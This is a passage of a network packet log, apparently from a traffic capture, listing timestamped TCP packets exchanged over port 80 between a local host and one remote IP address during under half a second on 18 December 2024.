Dec 18, 2024 21:30:30.722841024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.723073006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.723144054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.723867893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.724102020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.724267960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.724958897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.725151062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.726072073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.726139069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.726288080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.727142096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.727193117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.727266073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.728136063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.728275061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.728292942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.729211092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.729265928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.729341030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.730264902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.730315924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.730389118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.731384039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.731451035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.731584072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.732376099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.732450962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.732484102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.732675076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.733510971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.733653069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.733680964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.733697891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.734693050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.734744072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.734865904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.734908104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.735867023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.735914946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.736042023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.736083984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.736993074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.737149000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.737195969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.738014936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.738157034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.738317013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.739015102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.739267111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.739320993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.740058899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.740118980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.740339041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.740569115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.741246939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.741305113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.741451979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.742150068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.742243052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.742377996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.742427111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.743232965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.743288040 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.743412018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.743474007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.744123936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.744237900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.744237900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.745085001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.745132923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.745209932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.746242046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.746408939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.746459007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.747390985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.747498989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.747548103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.748248100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.748409033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.748447895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.748469114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.749274015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.749331951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.749429941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.749479055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.750384092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.750586033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.750643969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.751559973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.751715899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.751764059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.752762079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.752923012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.752981901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.753839016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.753901005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.753983021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.754879951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.754920006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.755078077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.755913019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.756025076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.756076097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.756959915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.757093906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.757987976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.758032084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.758168936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.759155989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.759196043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.759330034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.759660959 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.760026932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.760077000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.760185957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.760231972 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.760932922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.760989904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.761044025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.761502028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.761620045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.761667967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.762542009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.762777090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.763535023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.763638020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.763797998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.763847113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.764718056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.764771938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.901717901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.901856899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.902070045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.902115107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.902163982 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.902256966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.902446032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.903311014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.903398991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.903446913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.904225111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.904387951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.904551983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.905359983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.905400038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.905426979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.905575037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.905673027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.906510115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.906586885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.906660080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.906800985 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.907541990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.907591105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.907692909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.907754898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.908565044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.908716917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.908757925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.908802986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.909703970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.909831047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.910710096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.910772085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.910876989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.911792040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.911911964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.911973000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.912810087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.912906885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.912986040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.913110018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.913872957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.913974047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.914078951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.914134979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.914947987 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.915039062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.915153027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.915251017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.916002989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.916074991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.916162014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.916259050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.917042971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.917103052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.917208910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.918101072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.918370008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.918433905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.919207096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.919318914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.920192957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.920253038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.920392990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.920761108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.921236992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.921283960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.921525955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.921571016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.922321081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.922368050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.922436953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.922492027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.923373938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.923422098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.923517942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.923563957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.924417973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.924474955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.924601078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.924647093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.925460100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.925595045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.925637007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.925796986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.926569939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.926620960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.926713943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.926759958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.927608967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.927664995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.927762032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.928314924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.928657055 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.928807020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.928858042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.929723024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.929938078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.930798054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.930866003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.930962086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.931343079 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.931835890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.931885958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.932025909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.932074070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.932938099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.932988882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.933084965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.933135033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.933976889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.934032917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.934165955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.934273958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.935023069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.935075045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.935199976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.935246944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.936074972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.936129093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.936224937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.936336040 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.937144995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.937192917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.937321901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.937375069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.938260078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.938432932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.939291000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.939357042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.939445972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.940310001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.940347910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.940479040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.941433907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.941493034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.941579103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.942445040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.942461014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.942481995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.942600965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.942641973 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.943499088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.943542957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.943655968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.943773031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.944590092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.944634914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.944719076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.944767952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.945682049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.945745945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.945817947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.945861101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.946718931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.946914911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.947397947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.947774887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.947943926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.947952986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.947983980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.948818922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.948889971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.948980093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.949209929 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.949862003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.950053930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.951013088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.951133013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.951148033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.951176882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.952291012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.952465057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.953408957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.953474045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.953526020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.953723907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.953866959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.953923941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.954016924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.954139948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.954776049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.954890966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.954925060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.954948902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.955720901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.955776930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.955884933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.955935001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.956815958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.956885099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.098242998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098267078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098288059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098452091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.098614931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098648071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098664999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098669052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.098680973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098696947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098697901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.098714113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098716974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.098728895 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098741055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.098746061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.098762035 CET	80	49808	31.41.244.11	192.168.2.5
